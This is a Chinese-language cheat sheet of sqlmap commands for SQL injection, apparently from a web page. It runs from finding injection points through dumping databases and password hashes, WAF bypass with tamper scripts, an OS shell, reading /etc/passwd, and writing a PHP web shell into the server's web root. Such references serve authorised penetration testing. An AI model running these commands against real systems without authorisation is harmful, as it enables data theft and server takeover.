Sqlmap Injection Guide

自动化 SQL 注入工具的终极速查表,涵盖从漏洞发现到拖库提权的全流程命令。

基础扫描 (Basic)

扫描单个 GET 注入点
sqlmap -u "<URL>"
已复制到剪贴板
扫描 POST 请求注入点
sqlmap -u "<URL>" --data="id=1&name=test"
已复制到剪贴板
从 HTTP 请求文件读取 (推荐)
sqlmap -r request.txt
已复制到剪贴板
带 Cookie 进行扫描
sqlmap -u "<URL>" --cookie="PHPSESSID=..."
已复制到剪贴板
查看基础帮助信息
sqlmap --help
已复制到剪贴板
查看详细帮助信息 (更多高级参数)
sqlmap -hh
已复制到剪贴板

枚举数据库信息

列出所有数据库名
sqlmap -u "<URL>" --dbs
已复制到剪贴板
获取当前使用的数据库名
sqlmap -u "<URL>" --current-db
已复制到剪贴板
列出指定数据库的所有表
sqlmap -u "<URL>" -D <DB> --tables
已复制到剪贴板
列出指定表的所有字段
sqlmap -u "<URL>" -D <DB> -T <TBL> --columns
已复制到剪贴板
拖取指定字段的数据
sqlmap -u "<URL>" -D <DB> -T <TBL> -C "u,p" --dump
已复制到剪贴板
列出 DBMS 所有的用户
sqlmap -u "<URL>" --users
已复制到剪贴板
尝试获取数据库用户的密码 Hash
sqlmap -u "<URL>" --passwords
已复制到剪贴板

注入强度与绕过

扫描强度级别 (1-5, 3 会测试 Cookie)
sqlmap ... --level 3
已复制到剪贴板
扫描风险级别 (1-3, 2 会包含时间盲注)
sqlmap ... --risk 2
已复制到剪贴板
使用随机 User-Agent
sqlmap ... --random-agent
已复制到剪贴板
设置代理 (如 BurpSuite)
sqlmap ... --proxy="http://127.0.0.1:8080"
已复制到剪贴板
使用脚本绕过 WAF (用逗号分隔)
sqlmap ... --tamper="between,space2comment"
已复制到剪贴板
检测目标是否存在 WAF 防护
sqlmap ... --check-waf
已复制到剪贴板

进阶交互

检测当前用户是否为 DBA (管理员)
sqlmap ... --is-dba
已复制到剪贴板
尝试获取操作系统的交互式 Shell
sqlmap ... --os-shell
已复制到剪贴板
获取交互式 SQL Shell
sqlmap ... --sql-shell
已复制到剪贴板
读取目标服务器上的文件
sqlmap ... --file-read="/etc/passwd"
已复制到剪贴板
向目标服务器写入文件
sqlmap ... --file-write="shell.php" --file-dest="/var/www/html/s.php"
已复制到剪贴板

常用实战技巧

自动化模式 (所有提问均选默认回答)
sqlmap ... --batch
已复制到剪贴板
设置最大线程数 (最高为 10)
sqlmap ... --threads 5
已复制到剪贴板
指定注入技术 (B:布尔, E:报错, U:联合, S:堆叠, T:时间)
sqlmap ... --technique T
已复制到剪贴板
强制指定数据库类型 (加快速度)
sqlmap ... --dbms mysql
已复制到剪贴板
清除当前目标的扫描缓存,重新开始
sqlmap ... --flush-session
已复制到剪贴板